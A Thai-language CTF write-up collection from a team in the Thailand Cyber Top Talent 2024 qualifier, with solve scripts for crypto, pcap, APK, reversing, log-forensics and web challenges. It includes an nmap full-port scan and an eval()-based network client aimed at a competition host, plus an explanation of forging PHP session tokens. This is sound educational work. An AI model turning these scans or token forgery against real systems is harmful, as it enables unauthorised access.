Write-up collection งานแข่ง Thailand Cyber Top Talent 2024 รอบคัดเลือกระดับประชาชนทั่วไป (Open)

Tuesday, October 1, 2024

ในวันที่ 28 กันยายน 2567 ที่ผ่านมาทีม Safecloud ของเราได้ทำการเข้าแข่งขันในงาน Thailand Cyber Top Talent 2024 จัดโดย สำนักงานคณะกรรมการการรักษาความมั่นคงปลอดภัยไซเบอร์แห่งชาติ ร่วมกับ บริษัท หัวเว่ย เทคโนโลยี่ (ประเทศไทย) จำกัด ซึ่งนับเป็นหนึ่งในการแข่งขันด้านความมั่นคงปลอดภัยทางไซเบอร์ที่ใหญ่ที่สุดในประเทศไทย นอกจากเงินรางวัลรวมกว่า 521,000 บาทแล้วผู้ที่ได้รางวัลชนะเลิศยังมีสิทธิเป็นตัวแทนประเทศไทยไปแข่งขันในรายการ Cyber SEA Game 2024 อีกด้วย

ในปีนี้การแข่งขันมีความดุเดือดกว่าปีที่ผ่านๆมามาก อันดับที่ 1 ถึง 15 มีคะแนนที่ห่างกันเพียงนิดเดียวเท่านั้นทำให้สมาชิกทีมลุ้นกันไปตามๆกัน อันดับที่ขึ้นไปถึงที่ 2 ในช่วงแรกสักพักก็ตกมาที่ 11 แล้วก็กลับขึ้นไปใหม่ สุดท้ายแล้วทีมของเราจบที่อันดับที่ 8 และได้เข้าไปในรอบชิงชนะเลิศในวันที่ 12 ตุลาคม 2567 ครับ

scoreboard

ใน Write-up นี้ทางทีมจะเขียนถึงวิธีการคิดที่เราได้ทำในข้อต่างๆ เพื่อให้เป็นความรู้แก่ผู้ที่สนใจในด้าน Cyber Security หรือเพื่อนๆที่แข่งในงานเดียวกันให้รู้ถึงแนวคิดที่ทีมเราใช้ในการแก้โจทย์แต่ละข้อครับ



Index

Cryptography

Network

Mobile Security

Reverse Engineering

Programming

Digital Forensics

Web

เนื่องจากทางทีมไม่ได้แคปหน้าจอตอนทำข้อ Web Write-Up เลยอาจจะไม่สมบูรณ์เท่าที่ควร ท่านที่สนใจการวิเคราะห์ข้อเว็บแบบลึกๆสามารถดูไลฟ์ของพี่ตะ สยามถนัดแฮ็กได้ที่นี่ครับ



Cryptography

Easy1 (100)

ข้อนี้จะได้ text มา

MIXS6VSFNBCFMRSRPFHEQ432JVVFU2CZK5ETETKHLE2U2VCJGRMVIWJTLFVFS6KNIRHGSTKXKJUU4V2ONVGTEVTNLJXDAPJPF4======

หลังจาก decode จาก base32 จะเห็นว่าข้างในอาจเป็น base64

1_easy_1

หลังจากที่ตัด // หน้าหลังออก สามารถ decode base64 ได้

1_easy_1_2

Easy2 (100)

ข้อนี้จะได้ text มา เมื่อแปลงจาก hex มาแล้วอ่านตัวอักษรจากหลังไปหน้าจะได้ flag

7d62386261333734343938656635623464306433663431393533383234333435367b34325454434854

1_easy_2

Hard (300)

ข้อนี้จะได้ไฟล์ที่มี emoji😺 กับ 😸ที่มีความยาว 8 ตัวอักษร ทำให้รู้ได้ว่าอาจจะเป็น binary ความยาว 8 bits

1_hard_1

หลังจากแปลงจาก binary แล้วจะได้เป็น emoji :👋🐿🐺👋👋🐩🐫👲🐪🐩🐭👚🐮🐯👜🐫🐧👚🐪👚🐪👚👝🐯👜👘👘👚👜🐫🐯👛🐧👝👛🐬👘🐯👙👚👴

ในกรณีนี้เราสันนิษฐานได้ว่าตัวอักษร 5 ตัวแรกจะเป็น THCTT เราจึงสามารถเทียบตัวอักษร 5 ตัวแรกกับ THCTT ได้โดยใช้ ord() พบว่าตัวอักษรห่างกันเป็นจำนวน 0x1f3f7 ทุกตัว ทำให้เราสามารถ decode flag ได้ด้วยการลบค่า 0x1f3f7 ออกจาก emoji

with open('emoBit.txt', 'rb') as fp:
    str = fp.read().decode()
    str = str.split(' ')

out = []
for s in str:
    b = ''
    for c in s:
        if c == '😺':
            b += '1'
        else:
            b += '0'
    out.append(b)

print(out)

out_bytes = []
for c in out:
    out_bytes += [int(c, 2)]

flag_emoji = ''
for i in range(0, len(out_bytes), 4):
    flag_emoji += bytes(out_bytes[i:i+4]).decode()

print(flag_emoji)

flag = ''
for c in flag_emoji:
    flag += chr(ord(c) - 0x1f3f7)
print(flag)

1_hard_1_2


Network

HTTP Mayhem (100)

ในข้อนี้จะได้ไฟล์ pcap ที่มีการดาวน์โหลดไฟล์สองไฟล์

2_mayhem_1

เนื่องจากเป็นการโหลดไฟล์จาก HTTP เราสามารถแกะไฟล์สองไฟล์นี้ได้จาก File -> Export Objects -> HTTP

2_mayhem_2

จาก code evil_plan.txt

flag_bits = ''.join(format(ord(c), '08b') for c in FLAG)
idx = 0
for y in range(img.size[1]):
    for x in range(img.size[0]):
        if idx < len(flag_bits):
            r, g, b = pixels[x, y]
            r = (r & 0xFE) | int(flag_bits[idx])
            idx += 1
            pixels[x, y] = (r, g, b)
        else:
            break

นำ code นี้ไปถาม chatgpt จะได้ว่า

this is steganography technique : LSB (Least Significant bit)
1. Convert FLAG to Binary
flag_bits = ''.join(format(ord(c), '08b') for c in FLAG)
each flag character → formats it as 8-bit binary string from ascii of c character

2. Iterate Over Image Pixels
for y in range(img.size[1]):
for x in range(img.size[0]):

3. Modify the Red Channel's Least Significant Bit (LSB)
if idx < len(flag_bits):
r, g, b = pixels[x, y]
r = (r & 0xFE) | int(flag_bits[idx])
idx += 1
pixels[x, y] = (r, g, b)
else:
break

pixels[x, y]: This retrieves the RGB values (red, green, blue) of the pixel at position (x, y)
r & 0xFE: This operation sets the least significant bit (LSB) of the red value r to 0 by performing a bitwise AND with 0xFE (which is 11111110 in binary). This leaves all the other bits unchanged, except for the LSB.
r | int(flag_bits[idx]): This then sets the LSB of r to 0 or 1, depending on the corresponding bit from the flag_bits string (flag_bits[idx]). It uses bitwise OR (|) to add that bit into the LSB position of r
The modified r value is then saved back into the pixel, replacing the original red value.

จากการถาม chatgpt เพื่อ reverse image กลับจะได้ว่า

you need to read the least significant bit (LSB) of the red channel from each pixel and reconstruct the bits into characters. Here’s the Python code that performs this reversal:

from PIL import Image

# Load the image
img = Image.open('image.png')
pixels = img.load()
# Initialize variables
flag_bits = []

for y in range(img.size[1]):
    for x in range(img.size[0]):
        r, g, b = pixels[x, y]
        # Extract the LSB of the red channel
        flag_bits.append(r & 1)
# Group the bits into 8-bit chunks and convert them to characters
flag = ''.join(
chr(int(''.join(map(str, flag_bits[i:i+8])), 2))
for i in range(0, len(flag_bits), 8)
)
print(flag)

2_mayhem_3

Silent Whisper (100)

ในข้อนี้จะได้ไฟล์ pcap ที่มีการ brute force รหัสผ่าน ftp ซึ่งรหัสผ่านที่ใช้คือ flag หลังจากที่หา package ที่สามารถ login เข้าไปได้ นำรหัสผ่านข้อนั้นมาตอบก็จะได้ flag

2_silent_1

Encrypted C2 v2 (200)

จากไฟล์ pcap จะเห็นได้ว่าจะมีการส่ง handshake ที่จะ map ชุดตัวอักษรจากชุดนึงไปอีกชุดนึง และใน callback จะเป็นชุดตัวอักษรที่เราต้องแกะ

2_c2_1

2_c2_2

2_c2_3

สามารถเขียน code เพื่อ map ค่าได้

#!/usr/bin/env python3

def solve(maps, cmd, answer):
 decode_d = inv_map = {v: k for k, v in maps["maps"].items()}
 cmd = cmd['cmd'].split(' ')
 cmd_d = ''
 for w in cmd:
  cmd_d += decode_d[w]
 print(cmd_d)

maps = {"maps": {"0": "xtxaw", "1": "qdepw", "2": "zdkyq", "3": "myuaf", "4": "lvzsr", "5": "ywfha", "6": "ojjtz", "7": "puucm", "8": "yvilq", "9": "kmmzi", "a": "dubuj", "b": "lppcf", "c": "uwiqh", "d": "kxjrt", "e": "kqepa", "f": "hqzln", "g": "sttsi", "h": "dezrl", "i": "yfelk", "j": "ibzrj", "k": "wrhcu", "l": "aybrc", "m": "rxeen", "n": "rglzd", "o": "snlgg", "p": "grfpq", "q": "fhxnd", "r": "ykvsn", "s": "oozld", "t": "mlhcj", "u": "wexam", "v": "yibrz", "w": "nqyjw", "x": "renil", "y": "eikph", "z": "dnmcv", "A": "ypadb", "B": "dwglb", "C": "pqvdr", "D": "jvana", "E": "nruhl", "F": "itrke", "G": "wkasq", "H": "ktuyv", "I": "tfgsr", "J": "pxrzi", "K": "hwfxi", "L": "otfre", "M": "vojrp", "N": "muyyb", "O": "vhufv", "P": "bgeto", "Q": "zxfqk", "R": "xxbcu", "S": "nxneq", "T": "dinwp", "U": "ulukc", "V": "donry", "W": "xicar", "X": "lqayc", "Y": "bjigl", "Z": "gtdpj", "!": "edukp", "\"": "dqtlw", "#": "lpblo", "$": "vdkop", "%": "yhert", "&": "oyttv", "'": "kwilq", "(": "vuwej", ")": "fhrew", "*": "odwtu", "+": "artah", ",": "vntbl", "-": "eubic", ".": "iixtb", "/": "jpzuq", ":": "yfaoa", ";": "igytv", "<": "cwyhm", "=": "ebxlb", ">": "lkvzy", "?": "kieqp", "@": "qdmpf", "[": "roqiy", "\\": "hmiyd", "]": "rovul", "^": "sukyx", "_": "nynrq", "`": "tyrky", "{": "wcvnk", "|": "suhrg", "}": "nqecq", "~": "xwyfz", " ": "ierje", "\t": "cuady", "\n": "glfcm", "\r": "eierp", "\u000b": "learv", "\f": "pdbzp"}}

cmd = {"cmd": "kqepa uwiqh dezrl snlgg ierje hqzln aybrc dubuj sttsi ierje yfelk oozld ierje dinwp ktuyv pqvdr dinwp dinwp zdkyq lvzsr wcvnk dubuj ojjtz hqzln uwiqh kqepa kmmzi ywfha qdepw kmmzi qdepw hqzln lppcf kmmzi zdkyq dubuj ywfha yvilq puucm yvilq zdkyq myuaf ywfha kxjrt qdepw kxjrt ojjtz lppcf yvilq ywfha yvilq ojjtz zdkyq nqecq"}
answer = {"answer":"hqzln aybrc dubuj sttsi ierje yfelk oozld ierje dinwp ktuyv pqvdr dinwp dinwp zdkyq lvzsr wcvnk dubuj ojjtz hqzln uwiqh kqepa kmmzi ywfha qdepw kmmzi qdepw hqzln lppcf kmmzi zdkyq dubuj ywfha yvilq puucm yvilq zdkyq myuaf ywfha kxjrt qdepw kxjrt ojjtz lppcf yvilq ywfha yvilq ojjtz zdkyq nqecq"}

solve(maps, cmd, answer)

2_c2_4


Mobile Security

YouSeeMe (100)

ข้อนี้และข้อ Mobile, Java จะใช้ decompiler ชื่อ jadx ในการแกะไฟล์ครับ เป็น decompiler ที่ค่อนค่างใช้งานง่ายแถมมีเวอร์ชั่น GUI ด้วย ชื่อ jadx-gui

หลังจากแกะ apk ออกมาพบไฟล์ flag.txt บอกให้ไปดู Manifest

3_useeme_1

เจอค่าแปลกๆใน Manifest เอามา decode จึงได้ flag

3_useeme_2

3_useeme_3

The Face THCTT24 (100)

หลังจากใช้ jadx decompile พบว่าใน MainActivity code ส่วนที่แสดงรูปขาดไฟล์ที่ 32 ไป

3_theface_1

หลังจากแกะไฟล์รูปออกมาแล้วจะเจอ flag ด้านใต้รูป (สังเกตุดูดีๆนะครับ เพราะทางทีมติดนานมากกกกกกก 5555)

3_theface_2

Medium (200)

ข้อนี้รู้สึกเหมือนจะง่ายกว่าข้อที่แล้ว หลังจาก decompile มาแล้วจะเจอไฟล์ flag.txt ครับ

3_medium_1

แปลกจาก Hex ก็จะได้ flag มาทันที

3_medium_2

Click Click (200)

ในข้อนี้อาจจะต้องใช้การอ่าน code สักหน่อย เราเริ่มด้วยการดูโค๊ดพร้อมอ่านการทำงานของแอปนี้กันครับ

3_click_1

3_click_2

จะเห็นได้ว่าแอปจะรับค่าจากผู้ใช้ไปเทียบกับ flag ในเครื่อง โดยที่จะเอาตัวอักษรแต่ละตัวไป xor กับค่า key แล้วหลังจากนั้นเอาค่าที่ xor แล้วมาต่อกันเพื่อเทียบกับค่า secret ครับ

ถ้า i เป็นค่าที่รับมา c เป็นค่าที่นำไปเช็ค ก็จะได้สมการง่ายๆประมาณนี้ครับ

3_click_3

ซึ่งเรารู้ c ที่ถูกต้องแล้วจากค่า secret ใน code ครับ

3_click_4

และค่า key ก็อยู่ใน res/values/strings.xml

3_click_5

ที่นี้เราสามารถทำการ xor ย้อนกลับเพื่อหาค่า flag ได้ครับ

#!/usr/bin/env python3

def chunkstring(string, length):
    return (string[0+i:length+i] for i in range(0, len(string), length))

secret = '29648872964875296486429648872964887296497729649832964920296497929649762964903296497829649772964983296489829649832964903296498729649822964986296498229649862964983296497629649792964987296498029649872964982296498029649822964979296498229649832964979296497929649782964983296489629649812964926'


key = 2964931

solve = ''
chunk = chunkstring(secret, 7)
for c in chunk:
 solve += chr(int(c) ^ key)

print(solve)

หลังจากที่รัน code ก็จะได้ flag ออกมาครับ

3_click_6


Reverse Engineering

Running Number (100)

ข้อนี้เราจะได้รับ ELF binary ที่ชื่อ running_number มาครับ เพื่อที่จะดูว่าโปรแกรมตัวนี้ทำงานอย่างไรเราทำการแกะมันด้วยโปรแกรมที่ชื่อว่า Ghidra

4_running_1

จะเห็นว่าโปรแกรมนี้รับ scanf ของเราเข้าไปเพื่อก็กำหนด seed ของการ random ค่าด้วยฟังก์ชั่น srand แล้วมันก็ทำอะไรสักอย่างไปเรื่อยๆ จนสุดท้ายเช็คว่ามันตรงกับค่าที่โปรแกรมต้องการไหม ถ้าตรงก็จะนำค่านั้นไปสร้างเป็น flag

ในความคิดแรกของทีมเราในข้อนี้คือ มาแนวนี้เป็นโจทย์ satisfiability แน่เลย ต้องใช้ z3 solver!!! ปรากฏว่า…. ไม่ออกครับ!!!! ทางทีมเลยใช้วิถีวานรแทนด้วยการ Brute force ทุก input มันซะเลย

#include <stdio.h>
#include <stdlib.h>

int main(void)

{
  long check;
  long seed;
  int r;
  uint i;
  
  seed = 0;
  
  while (1) {
   srand(seed);
   check = 0;
   for (i = 0xa07; 0x7e7 < (int)i; i = i + -1) {
     if ((int)i % 3 != 0) {
       r = rand();
       check = check + r;
     }
   }
     if (check == 0x5aad48bfa6) {
     printf("%d\n", seed);
     break;
   } else {
     seed += 1;
   }
  }
  return 0;  
}

โดนเราได้เขียนโค๊ดใน c ในเหมือนกับในโปรแกรมมากที่สุด เนื่องจากเราไม่แน่ใจว่า PRNG (pseudo-random number generator) ของภาษาอื่นจะทำงานเหมือนกับตัวโปรแกรมไหม นอกจากนี้ยังได้ข้อดีเรื่องความเร็วอีกด้วย (ใช้เวลาประมาณ 1 นาทีเท่านั้นเอง) หลังจากสั่งให้โปรแกรมทำงานก็ได้ flag ครับ

4_running_2

ไม่รู้ว่าทำไมทีมเราใช้ z3 solver ไม่ได้ ทีมไหนที่สามารถทำได้สามารถมาแลกเปลี่ยนกันได้นะครับ

Embedded Malware (200)

ในข้อนี้จะได้เป็นไฟล์ jar มาครับ โดยที่ฟังก์ชั่น main นั้นจะแสดงค่าออกมาเฉยๆไม่ได้ทำอะไร แต่ถ้าแกะดูจะพบมีอีกหนึ่งฟังก์ชั่นที่ทำการอ่าน Array มาเพื่อสร้างไฟล์ครับ

4_embed_1

เราสามารถพอร์ตมาเป็น python เพื่อให้มันทำงานได้

#!/usr/bin/env python3

iArr = [0] * 8228
iArr2 = [0] * 8228
iArr[0] = 127
[..SNIP..]
iArr2[8212] = 1

data1 = bytearray(iArr)
data2 = bytearray(iArr2)

with open("file1", "wb") as binary_file:
    binary_file.write(data1)
    binary_file.write(data2)

หลังจากได้ไฟล์มาแล้วจะพบเป็นไฟล์ ELF ที่เมื่อรันแล้วจะแสดง fake flag ออกมาครับ

4_embed_2

จากการแกะไฟล์จะเห็นการทำงานของ main ที่จะแสดงค่าที่เราเห็นตอนโปรแกรมทำงาน แต่ที่น่าสนใจคือฟังก์ชั่นแปลกๆที่มีในโปรแกรมนี้ด้วย

4_embed_3

จากการดูการทำงานจะเห็นว่าฟังก์ชั่นนึงจากทำการแสดงค่าด้วย putchar หลังจากนั้นก็จะเรียกอีกฟังก์ชั่นต่อไปเรื่อยๆ

4_embed_4

หลังจากดูทุกฟังก์ชั่นจะเห็นโฟลวการทำงานเป็นแบบนี้

n -> k -> p -> b -> h -> e -> a -> g -> f -> c -> j -> d -> m -> i -> l -> o -> t -> r -> q -> s

หลังจากลองเอาค่าที่ส่งไปที่ putchar มาต่อกันดูจะได้ flag (ขาดตัว T ตัวแรกเพราะ ฟังก์ชั่น n ต้องรับ argument ตอนสั่งมันให้ทำงาน)

4_embed_5


Programming

Easy1(100)

ข้อนี้ได้ code มาดังนี้

import hashlib

flag = ""

def caesar_decode(encoded_string, shift):
    decoded_string = ''
    for char in encoded_string:
        if char.isalpha():
            shifted = ord(char) - shift
            if char.islower():
                if shifted < ord('a'):
                    shifted += 26
            elif char.isupper():
                if shifted < ord('A'):
                    shifted += 26
            decoded_string += chr(shifted)
        else:
            decoded_string += char
    return decoded_string


def generate_md5_hash(text):
    md5_hash = hashlib.md5(text.encode()).hexdigest()
    return md5_hash

decoded_string = caesar_decode(p, shift)
if "Thailand" in decoded_string:
    md5_result = generate_md5_hash(decoded_string)
    final_flag = f"THCTT24{{{md5_result}}}"
    print(f"Shift {shift} found: {final_flag}")

# ciphertext = "wnwwnwn Sgzhkzmc Bxadq Sno Szkdms wnwwnwn"
# sh = ??

จะเห็นว่าเป็น caesar cipher (caesar_decode) ซึ่งเราสามารถ Brute Force key จาก 1 ถึง 26 หลังจากนั้นเราสามารถนำ key เข้า MD5 เพื่อนำมาเป็น flag ได้

p = "wnwwnwn Sgzhkzmc Bxadq Sno Szkdms wnwwnwn"
for shift in range(0, 26):
    decoded_string = caesar_decode(p, shift)
    if "Thailand" in decoded_string:
        md5_result = generate_md5_hash(decoded_string)
        final_flag = f"THCTT24{{{md5_result}}}"
        print(f"Shift {shift} found: {final_flag}")

5_easy_1

Easy2 (100)

ในข้อนี้เป็น substitution cipher จาก text เป็น emoji โดยให้แปลง emoji เป็นคำแล้วนำเข้า md5 เหมือนข้อที่แล้ว

flag = "🤣😆🙃🙃😍 😆😉😍😇😊 😅😍😙 😅🤩😌😌😑 🤣😀🤣😀🤣😀"

char_to_emoji = {
    "A": "😀",
    "B": "😃",
    "C": "😄",
    "D": "😁",
    "E": "😆",
    "F": "😅",
    "G": "😂",
    "H": "🤣",
    "I": "😊",
    "J": "😇",
    "K": "🙂",
    "L": "🙃",
    "M": "😉",
    "N": "😌",
    "O": "😍",
    "P": "😘",
    "Q": "😗",
    "R": "😙",
    "S": "😚",
    "T": "🤗",
    "U": "🤩",
    "V": "🤔",
    "W": "🤨",
    "X": "😐",
    "Y": "😑",
    "Z": "😶",
    " ": " "
}

จะได้ code ตามนี้

import hashlib

flag = "🤣😆🙃🙃😍 😆😉😍😇😊 😅😍😙 😅🤩😌😌😑 🤣😀🤣😀🤣😀"

char_to_emoji = {
    "A": "😀",
    "B": "😃",
    "C": "😄",
    "D": "😁",
    "E": "😆",
    "F": "😅",
    "G": "😂",
    "H": "🤣",
    "I": "😊",
    "J": "😇",
    "K": "🙂",
    "L": "🙃",
    "M": "😉",
    "N": "😌",
    "O": "😍",
    "P": "😘",
    "Q": "😗",
    "R": "😙",
    "S": "😚",
    "T": "🤗",
    "U": "🤩",
    "V": "🤔",
    "W": "🤨",
    "X": "😐",
    "Y": "😑",
    "Z": "😶",
    " ": " "
}

emoji_to_char = {v: k for k, v in char_to_emoji.items()}


def emoji_decode(encoded_string):
    decoded_string = ''
    for emoji in encoded_string:
        if emoji in emoji_to_char:
            decoded_string += emoji_to_char[emoji]
        else:
            decoded_string += emoji
    return decoded_string


def generate_md5_hash(text):
    md5_hash = hashlib.md5(text.encode()).hexdigest()
    return md5_hash


encoded_message = flag
decoded_message = emoji_decode(encoded_message)
print("Decoded Message:", decoded_message)

md5_result = generate_md5_hash(decoded_message)
flag = f"THCTT24{{{md5_result}}}"
print(f"Flag found: {flag}")

5_easy_2

Medium (200)

ข้อนี้จะให้ wordlist มา แล้วบอกว่า message ที่เราได้ผ่านการ xor กับ key ใน wordlist และผลลัพธ์มีคำว่า funny เราเลยสามารลองทุกคำใน wordlist เพื่อหาผลลัพธ์ที่มีคำว่า funny ได้ครับ

import hashlib

flag = ""

def text_to_ascii(text):
    return [ord(char) for char in text]

def ascii_to_text(ascii_list):
    return ''.join(chr(num) for num in ascii_list)

def xor_with_key(text, key):
    text_ascii = text_to_ascii(text)
    key_ascii = text_to_ascii(key)
    key_length = len(key_ascii)
    # print(key_length)

    # ทำการ XOR แต่ละตัวอักษรของข้อความกับคีย์ที่วนซ้ำ
    result_ascii = [(text_ascii[i] ^ key_ascii[i % key_length]) for i in range(len(text_ascii))]
    return ascii_to_text(result_ascii)

# encrypted_message = xor_with_key(message, key)

def generate_md5_hash(text):
    md5_hash = hashlib.md5(text.encode()).hexdigest()
    return md5_hash

# message = "🤲🤏🤔🤛🤂🤄🤞🤁🤒🥗🤸🤥🥗🤑🤘🤅🥗🤑🤂🤙🤙🤎"

# Find keyword "funny"
message = "🤲🤏🤔🤛🤂🤄🤞🤁🤒🥗🤸🤥🥗🤑🤘🤅🥗🤑🤂🤙🤙🤎"

with open('emoji_wordlist.txt', 'r') as fp:
    for line in fp:
        line = line.strip()
        key = line
        # print(key)
        decrypted_message = xor_with_key(message, key)
        if "funny" in decrypted_message:
            print(f"Found Key: {key} -> Result: {decrypted_message}")
            md5_result = generate_md5_hash(decrypted_message)
            flag = f"THCTT24{{{md5_result}}}"
            print(f"Flag found: {flag}")
            break

(พอดีไม่มีไฟล์ emoji_wordlist.txt แล้ว ลองรันให้ดูไม่ได้ครับ 🙇‍♂🙇‍♂️️)

type_the_word (300)

ในข้อนี้จะได้ ip 45.76.176.237 มาแต่ไม่รู้ port เราสามารถใช้ nmap แสกนหา port ที่เปิดอยู่ได้

nmap -sT --min-rate 5000 --max-retries 1 -p- -vv -Pn 45.76.176.237

จะพบว่า port 13339 เปิดอยู่ เมื่อเราเข้าไปแล้วจะเป็น quiz ที่ต้องแก้โจทย์ 100 โจทย์ โดยเป็ยโจทย์พวก Reverse, ROT13, Binascii, l33tspeak, shuffle, และ morse code ซึ่ง l33tspeak, shuffle, morse code จะค่อนข้างยากและใช้เวลานานในการเขียนโปรแกรมแก้โจทย์

แต่ทางระบบสามารถให้เราตอบผิดได้ เมื่อตอบผิดเซิฟเวอร์ก็จะให้โจทย์ใหม่เรามาโดยไม่ได้เสียแต้มหรือต้องตอบใหม่ทั้งหมด ทำให้เราสามารถข้ามโจทย์ที่ยากๆแล้วไปทำแค่ข้อง่ายๆได้ครับ

นานๆที่จะมี captcha โผล่ขึ้นมา สามารถใช้ regex กับ eval() เพื่อคำนวนเลขหาคำตอบมาตอบ captcha ได้ครับ

code ที่ใช้แก้จะเป็นตามนี้

from pwn import *
import codecs
import re


def extract_mode(input_string):
    pattern = r"\((.*?)\)"
    match = re.search(pattern, input_string)
    if match:
        mode = match.group(1)
    else:
        return None

    pattern = r":\s*(.*)"
    match = re.search(pattern, input_string)
    if match:
        quiz = match.group(1)
    else:
        return None

    return mode, quiz


def extract_captcha(input_string):
    pattern = r"is (.+?)\?"
    match = re.search(pattern, input_string)
    if match:
        return match.group(1)
    else:
        return None


def rot13(encoded_word):
    decoded_word = codecs.decode(encoded_word, 'rot_13')
    return decoded_word


def reverse(str):
    return str[::-1]


def binary_to_ascii(binary_string):
    binary_values = binary_string.split(" ")
    ascii_characters = [chr(int(bv, 2)) for bv in binary_values]
    return ''.join(ascii_characters)


modes = {
    "ROT13": rot13,
    "Reversed": reverse,
    "Binary ASCII": binary_to_ascii,
}


def solve(target):
    while True:
        quiz = target.readline().decode().strip()
        print(quiz)
        if "Word" == quiz[:4]:
            break
        elif "CAPTCHA:" == quiz[:8]:
            captcha = extract_captcha(quiz)
            answer = eval(captcha)
            target.sendline(str(answer).encode())

    print(quiz)
    mode, cipher = extract_mode(quiz)
    print(f"Solving {mode} {cipher}")
    if mode not in modes:
        # Skip
        print("Skipping")
        target.sendline(b"LOL")
    else:
        target.sendline(modes[mode](cipher).encode())


assert modes['ROT13']("OnananEnfcoreelSbhe5031:") == "BananaRaspberryFour5031:"
assert modes['Reversed'](
    "aez=%9831ytiruceSgnaloGalacS") == "ScalaGolangSecurity1389%=zea"
assert modes['Binary ASCII'](
    "01000111 01110010 01100001 01110000 01100101 01001111 01101110 01100101 01000100 01100001 01110100 01100101 01010010 01110101 01110011 01110100 00110010 00110010 00110000 00110100 00111111 00100101 00111100") == "GrapeOneDateRust2204?%<"

print('OK')

target = remote('45.76.176.237', 13339)

print(target.recvuntil(b'win!'))

while True:
    solve(target)

หลังจากรันคำสั่งจะได้

<...SNIP...>
Word #100 (Reversed): sgujl!!7334yrrebredlEgnaloGgiFeerhT
Word #100 (Reversed): sgujl!!7334yrrebredlEgnaloGgiFeerhT
Solving Reversed sgujl!!7334yrrebredlEgnaloGgiFeerhT
Type the ORIGINAL word (before modification)!
Correct! Words correct: 100/100

Congratulations! You win!
Here's your flag: THCTT24{m4st3r_0f_3xtr3m3_typ1ng_4nd_3nc0d1ng_ch4ll3ng3s!}


Digital Forensics

90DAY2 (100)

ข้อนี้จะได้ไฟล์ flag.txt มาเป็นจำนวนมาก แต่ส่วนใหญ่จะเป็นค่าที่ซ้ำๆกัน

6_day_1

เราสามารถ cat ทุกไฟล์แล้วหาค่าที่ unique ได้ครับ

6_day_2

flag ที่ขึ้นต้นด้วย 88 มีจำนวนเยอะมากๆ ทำให้พวกเราตอบข้อ 85 แทนครับ

FindQR2 (100)

ข้อนี้จะได้ QR code มาจำนวนเยอะมากๆ

6_qr_1

ซึ่งเราสามารถอ่าน qr ได้ตามนี้

#!/usr/bin/env python3 

from qreader import QReader
import cv2
import os

files = os.listdir()

for f in files:
 # Create a QReader instance
 qreader = QReader()

 # Get the image that contains the QR code
 image = cv2.cvtColor(cv2.imread(f), cv2.COLOR_BGR2RGB)

 # Use the detect_and_decode function to get the decoded QR data
 decoded_text = qreader.detect_and_decode(image=image)
 print(decoded_text)

แต่พบว่าเป็น text เหมือนกันทั้งหมด พร้อมกับใบ้ว่ารหัสผ่านคือ THCTT24 เนื่องจากมีหลายรูปจึงสามารถเดาได้ว่ามีการใช้ steghide ในการซ่อนข้อมูล

6_qr_2

เราสามารถแกะทุกไฟล์ได้ด้วย

for i in ./*; do steghide extract -sf "$i" -p 'THCTT24' -f; done

จะได้ไฟล์ทั้งหมดสองไฟล์

6_qr_3

หลังจากที่เปิดไฟล์จะได้ flag

6_qr_4

Cloudo (300)

TechCorp, a mid-sized technology company, has recently experienced a security incident. The company’s SOC team has been alerted to suspicious activities on their server. As a Tier 1 SOC Analyst, you’ve been tasked with investigating the incident using the available server logs.

The Situation

On September 2024, TechCorp’s monitoring systems detected an unusually high number of requests to their server. The server hosts a custom application, and an administrative backend. Initial AI analysis reports suggest that there might have been attempts to:

- Exploit SQL injection vulnerabilities
- Access sensitive files through Local File Inclusion (LFI)
- Bypass access controls to reach restricted areas of the application
- Enumerate and discover hidden directories and files
- N-day vulnerability.
The SOC team is concerned that these activities might be part of a larger, coordinated attack aimed at compromising TechCorp’s systems and exfiltrating sensitive data.

Your Mission As a Tier 1 SOC Analyst, your task is to analyze the provided log files and identify the nature and extent of the potential breach. You need to:

Identify the IP address(es) of the potential attacker(s)
Determine the types of attacks attempted
Format of answer: THCTT24{threat-actor-ip_CVE-number} such as THCTT24{10.0.0.01_cve-2024–4087}

ข้อนี้มาสไตล์คล้ายๆงานแข่ง Blue Guardians CTF ที่ต้องนั่งดู log จนอ้วกและไม่รู้จะไปทางไหนดี โดยที่โจทย์นี้จะให้ log มา 3 ประเภท แต่ประเภทมีความยาวเป็นแสนบรรทัดเลยทีเดียว

6_cloudo_1

ทางทีมเริ่มจาก aws log (realistic_unified_cloudtrai_logs.json) และพบว่า IP 191.168.223.137 มีการ assuemed-role กับ MisconfiguredIAMRole และสันนิษฐานไว้ว่า IP อาจจะเป็นผู้โจมตี

6_cloudo_2

หลังจากลอง grep ดูพบว่า IP นี้มีการเข้าใช้แต่ path webtools

6_cloudo_3

เนื่องจากข้อนี้ให้ตอบเป็น CVE พวกเราเลยลอง search หา CVE ที่เกี่ยวข้องกับ webtools พบว่ามีช่องโหว่ RCE ใน path webtools เป็นจำนวนมาก

6_cloudo_4

แต่ยังไม่ใช่ CVE ที่เราตามหาเพราะ path ไม่ตรงกับใน log

6_cloudo_5

หลังจากที่นำ path ที่ IP 191.168.223.137 ทำการเข้า ไปเสริจก็จะได้ CVE ที่สามารถนำมาตอบได้

6_cloudo_6

6_cloudo_7

THCTT24{191.168.223.137_CVE-2024-45507}


Web

Not So Secret (100)

ในข้อนี้จะได้ code ของระบบยืนยันตัวตนในเว็บมาด้วย

<?php

// Function to create the session token using a more complex secret key without a salt
function create_session_token($username, $timestamp){
    // Manipulate the date and timestamp components
    $date_component = date('Y-m-d', $timestamp); 
    $hour_component = date('H', $timestamp); // Hour component
    $minute_component = floor(date('i', $timestamp) / 10); // Segment minutes into blocks of 10

    // Combine all components into the secret key
    $secret_key = hash('sha256', $date_component . $hour_component . $minute_component);
    
    // Generate the session token using the more complex secret_key
    $session_token = hash_hmac('sha256', $username, $secret_key);

    return $session_token;
}

// Function to validate the session token
function validate_session(){
    global $users;
    
    // Check if the necessary cookies are set
    if (isset($_COOKIE['session_token']) && isset($_COOKIE['session_timestamp'])) {
        $session_token = $_COOKIE['session_token'];
        $timestamp = $_COOKIE['session_timestamp'];

        // Validate the timestamp to ensure it is a valid integer
        if (!is_numeric($timestamp) || strlen($timestamp) != 10) {
            return false;
        }
        
        // Check each user's session token to see if it matches
        foreach ($users as $username => $password) {
            if ($session_token === create_session_token($username, $timestamp)) {
                // Valid session token found, set the session variables
                $_SESSION['username'] = $username;
                return true;
            }
        }
    }
    return false;
}

// @author Siam Thanat Hack Co., Ltd. (STH)
?>

จะเห็นได้ว่าการสร้าง token ใช้แค่ username กับ timestamp เท่านั้น เราเลยสามารถสร้าง session token ปลอมขึ้นมาได้ถ้ารู้ชื่อของผู้ใช้ในระบบ

